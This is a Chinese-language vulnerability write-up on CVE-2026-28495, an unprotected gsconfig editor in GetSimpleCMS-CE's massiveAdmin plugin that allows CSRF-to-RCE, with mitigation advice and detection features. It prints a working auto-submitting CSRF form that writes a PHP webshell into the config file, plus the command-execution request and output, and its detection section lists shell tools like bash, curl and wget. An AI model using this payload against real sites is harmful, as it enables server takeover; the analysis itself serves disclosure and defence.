一个CSRF,让攻击者无需登录就能拿下服务器——CVE-2026-28495分析

admin 2026-03-12 22:55:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了CVE-2026-28495漏洞,指出GetSimpleCMS-CE因插件缺乏CSRF防护与输入过滤,导致攻击者可诱导管理员写入恶意代码实现RCE。鉴于官方未修复,建议立即禁用插件并实施访问控制。文章强调了该系统反复出现高危漏洞的治理缺陷,提供了详细的攻击复现与检测特征。 综合评分: 92 文章分类: 漏洞分析,WEB安全,应急响应,漏洞预警


cover_image

一个 CSRF,让攻击者无需登录就能拿下服务器——CVE-2026-28495 分析

原创

CVE-SEC CVE-SEC

CVE-SEC

2026年3月12日 09:00 四川

一个 CSRF,让攻击者无需登录就能拿下服务器——CVE-2026-28495 分析

CVE 编号: CVE-2026-28495评分: CVSS 3.1 / 9.6(严重)披露时间: 2026-03-08


背景

GetSimpleCMS 是一款轻量级开源内容管理系统,其最大的设计特点是”无需数据库”,所有数据以 XML 文件存储于服务器本地。由于官方版本长期停止维护,社区在 2022 年另立门户,推出了 GetSimpleCMS-CE(社区版),主要目标是维持对 PHP 7.4 至 8.x 的兼容性。

2025 年 6 月 15 日,社区版发布了 v3.3.22,这也是目前唯一的活跃维护版本。该版本捆绑了一个名为 massiveAdmin 的管理插件(v6.0.3),用于提供更现代化的后台管理界面,包含一个核心功能模块:gsconfig 编辑器——允许管理员在 Web 界面中直接编辑系统的核心配置文件 gsconfig.php。

2026 年 3 月 8 日,研究者 dxlerYT 通过 GitHub Security Advisory 披露了一个藏在这个编辑器里的严重漏洞。


问题出在哪里

gsconfig 编辑器的核心函数只有一行关键代码:

public function gsConfigEdit(){
    file_put_contents(GSROOTPATH . 'gsconfig.php', $_POST['content']);
}

这行代码做的事情很简单:把 POST 请求体里 content 字段的内容,直接写入服务器上的 gsconfig.php。

问题有两个,且都是根本性缺陷:

第一,表单没有 CSRF Token。

对应的 HTML 表单里不包含任何 nonce 字段,服务端也不验证请求来源(Referer / Origin)。这意味着,这个写入操作可以被任何第三方网页在管理员不知情的情况下触发。

第二,没有任何输入过滤。

$_POST['content'] 直接进入 file_put_contents(),不经过任何过滤、白名单校验或危险字符处理。你往里面写什么,文件里就是什么。

单独看这两个问题,任何一个单独存在都已经足够危险。合在一起,后果是:攻击者无需拥有账号,无需知道管理员密码,只需要让一名已登录的管理员在浏览器里打开一个页面,就可以在服务器上写入任意 PHP 代码,并在此后的每一次 HTTP 请求中持续执行。


为什么影响这么大

GetSimpleCMS 的架构决定了这个漏洞特别危险。

gsconfig.php 是系统的核心配置文件,前台入口文件 index.php 在第 23 行通过 require 加载它,后台公共文件 admin/inc/common.php 在第 82 行同样加载它。这意味着:

  • 每一次 HTTP 请求,无论是前台页面还是后台操作,都会触发这个文件的执行
  • 该文件不是以配置数据的形式被读取,而是以 PHP 代码的形式被解释器直接执行
  • 一旦恶意代码写入,立即生效,且在文件被覆盖之前持续有效

攻击者只需要完成一次 CSRF 攻击,就能在目标服务器上建立一个随时可用的持久化后门,而不需要再次与管理员或系统产生任何交互。


攻击过程

整个攻击链可以简洁地描述为以下几个步骤。

步骤一:构造恶意页面

攻击者创建一个包含如下内容的 HTML 页面,并将其部署在攻击者控制的服务器上:

<form&nbsp;id="f"&nbsp;action="http://目标站点/admin/index.php?id=gsconfig"
&nbsp; &nbsp; &nbsp;&nbsp;method="POST"&nbsp;enctype="application/x-www-form-urlencoded">
&nbsp;&nbsp;<input&nbsp;type="hidden"&nbsp;name="editGSConfig"&nbsp;value="1">
&nbsp;&nbsp;<input&nbsp;type="hidden"&nbsp;name="content"&nbsp;value="<?php system($_GET['cmd']); ?>">
</form>
<script>document.getElementById('f').submit();</script>

页面打开后,JavaScript 会立即自动提交表单,全程不需要用户点击任何按钮。

步骤二:诱导管理员访问

攻击者通过钓鱼邮件、即时消息或其他社会工程手段,将上述恶意页面的链接发送给目标站点的管理员。

步骤三:浏览器完成攻击

管理员在浏览器中已登录 GetSimpleCMS 后台的状态下打开链接,浏览器自动携带有效的 Session Cookie 向目标站点发送 POST 请求。由于后台不校验 CSRF Token,这个请求被正常处理,PHP 代码被写入 gsconfig.php。

步骤四:执行命令

此后,攻击者访问目标站点的任意页面,并附加 cmd 参数,即可执行系统命令:

http://目标站点/?cmd=id

服务器返回:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

代码以 Web 服务器进程权限在目标系统上持续运行。后续可写入 webshell、建立持久访问、横向移动或窃取数据。


这不是第一次

翻看 GetSimpleCMS 的漏洞历史,会发现类似的问题反复出现:

  • CVE-2018-17103:GetSimpleCMS v3.3.13,管理后台的修改密码表单同样缺乏 CSRF 防护,攻击者可以通过 CSRF 重置管理员密码
  • CVE-2019-11231:v3.3.15,通过路径穿越写入可执行文件,同样实现 RCE
  • CVE-2022-41544:v3.3.16,主题编辑器允许写入 PHP 文件,同样实现 RCE

模式几乎一致:高权限的文件写入功能,缺乏充分的安全防护。每隔几个版本,同一类型的问题就会在不同的功能模块里重新出现。这说明该项目在安全设计层面存在系统性问题,历史漏洞的教训没有被有效转化为后续开发的安全规范。


当前状态

截至本文撰写日期(2026-03-11),官方尚未发布针对该漏洞的修复版本。

该漏洞的技术修复本身并不复杂:在 gsConfigEdit() 函数中加入 CSRF Token 验证,并对 $_POST['content'] 的内容进行过滤,核心改动可能只需要十几行代码。但补丁至今仍未出现。

暂时也没有公开的 PoC 代码发布,但 GitHub Advisory 中已包含足够详细的技术描述,复现所需的信息基本完备。


如果你在用这个 CMS

如果你或你的客户正在使用 GetSimpleCMS-CE v3.3.22,以下措施建议立即执行:

最优先:禁用 massiveAdmin 插件

在后台插件管理页面停用,或直接删除服务器上的 plugins/massiveAdmin/ 目录。在官方补丁发布之前,这是消除漏洞入口的最直接方式。

网络层访问控制

通过 Nginx 或 Apache 配置,将 /admin/ 路径的访问限制在可信 IP 范围内,减少后台管理接口的暴露面。

文件完整性监控

对 gsconfig.php 文件进行哈希监控,内容发生变化时立即告警。若文件内容包含 <?php 标签,应立即认定为疑似入侵事件。

检查是否已受影响

查看 gsconfig.php 的文件修改时间和内容,排查是否已被篡改。审查 Web 服务器日志中是否存在向 /admin/index.php?id=gsconfig 发送异常 POST 请求的记录,尤其关注 Referer 为空或来自外部域名的请求。


检测特征

网络侧检测可关注同时满足以下条件的 HTTP 请求:

  • 请求方法为 POST
  • 请求路径包含 /admin/index.php,URL 参数包含 id=gsconfig
  • 请求体包含 editGSConfig 参数
  • 请求体的 content 字段值包含 PHP 代码特征(<?phpsystem(exec(eval( 等)
  • Referer 头为空,或来源域名与目标站点不一致

主机侧可对 gsconfig.php 进行定期 SHA-256 哈希比对,并监控 Web 服务器进程是否产生 shbashcurlwget 等异常子进程。


参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-28495
  • GitHub Advisory GHSA-92wv-q2jp-qg88:https://github.com/GetSimpleCMS-CE/GetSimpleCMS-CE/security/advisories/GHSA-92wv-q2jp-qg88
  • GetSimpleCMS-CE 仓库:https://github.com/GetSimpleCMS-CE/GetSimpleCMS-CE
  • OWASP CSRF 防护指南:https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:CVE-SEC CVE-SEC CVE-SEC《一个 CSRF,让攻击者无需登录就能拿下服务器——CVE-2026-28495 分析》

评论:0   参与:  0